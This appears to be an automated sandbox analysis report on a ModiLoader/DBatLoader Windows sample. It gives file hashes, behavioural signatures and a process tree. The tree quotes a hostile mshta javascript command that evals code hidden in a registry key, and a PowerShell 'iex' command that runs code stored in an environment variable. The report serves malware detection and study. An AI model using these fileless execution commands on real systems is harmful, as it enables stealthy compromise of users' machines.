Analysis
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max time kernel
141s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
04-05-2024 12:58
Static task
static1
Behavioral task
behavioral1
Sample
12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe
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Size
360KB
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MD5
12d6a9c170aa19c05353134cdf4f40b7
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SHA1
f0cd3422b802960f44152da43d054c053efa7ce3
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SHA256
4aecb4cf0be3a31703f8ee9a3f0e74e706f65d2debff6d8a28eaf92b67ae2eaa
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SHA512
12e9bab3b04bac8b75f77b5d8a25548fb046202c9346916bec8f1ddc8c547e30ccca6af9790d94720fd13fdaa286e9b85065bb31a8d6842f55c13245fa121be3
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SSDEEP
6144:fI7kmNy3NyW7btm58icJp8DbxCuoAgUPL26GCFp:fI7kmNy3NyUmMJp8Db8jAVPL26GCH
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2916 3052 mshta.exe -
ModiLoader Second Stage 10 IoCs
Processes:
resource yara_rule behavioral2/memory/400-5-0x0000000000400000-0x000000000043C000-memory.dmp modiloader_stage2 behavioral2/memory/400-7-0x0000000000400000-0x000000000043C000-memory.dmp modiloader_stage2 behavioral2/memory/400-8-0x0000000000400000-0x000000000043C000-memory.dmp modiloader_stage2 behavioral2/memory/400-12-0x0000000000940000-0x0000000000A1C000-memory.dmp modiloader_stage2 behavioral2/memory/400-13-0x0000000000940000-0x0000000000A1C000-memory.dmp modiloader_stage2 behavioral2/memory/400-10-0x0000000000940000-0x0000000000A1C000-memory.dmp modiloader_stage2 behavioral2/memory/400-9-0x0000000000940000-0x0000000000A1C000-memory.dmp modiloader_stage2 behavioral2/memory/400-11-0x0000000000940000-0x0000000000A1C000-memory.dmp modiloader_stage2 behavioral2/memory/400-14-0x0000000000940000-0x0000000000A1C000-memory.dmp modiloader_stage2 behavioral2/memory/400-15-0x0000000000940000-0x0000000000A1C000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exedescription pid process target process PID 2168 set thread context of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NTFS ADS 1 IoCs
Processes:
12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Local\Temp\tv (2).ico:Zone.Identifier 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3232 powershell.exe 3232 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3232 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exepid process 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exemshta.exedescription pid process target process PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2168 wrote to memory of 400 2168 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe 12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe PID 2916 wrote to memory of 3232 2916 mshta.exe powershell.exe PID 2916 wrote to memory of 3232 2916 mshta.exe powershell.exe PID 2916 wrote to memory of 3232 2916 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- NTFS ADS
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Users\Admin\AppData\Local\Temp\12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\12d6a9c170aa19c05353134cdf4f40b7_JaffaCakes118.exe"2⤵PID:400
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:h4bBF6BU="yWRiTut4";e26G=new%20ActiveXObject("WScript.Shell");BiQp7NdL0="okr8P2E";B4n0qg=e26G.RegRead("HKCU\\software\\7y0cz4L\\Ob2nZ0");E81sXf="Ko";eval(B4n0qg);j6QD4uf="Pn";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:sgxeta2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3232
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82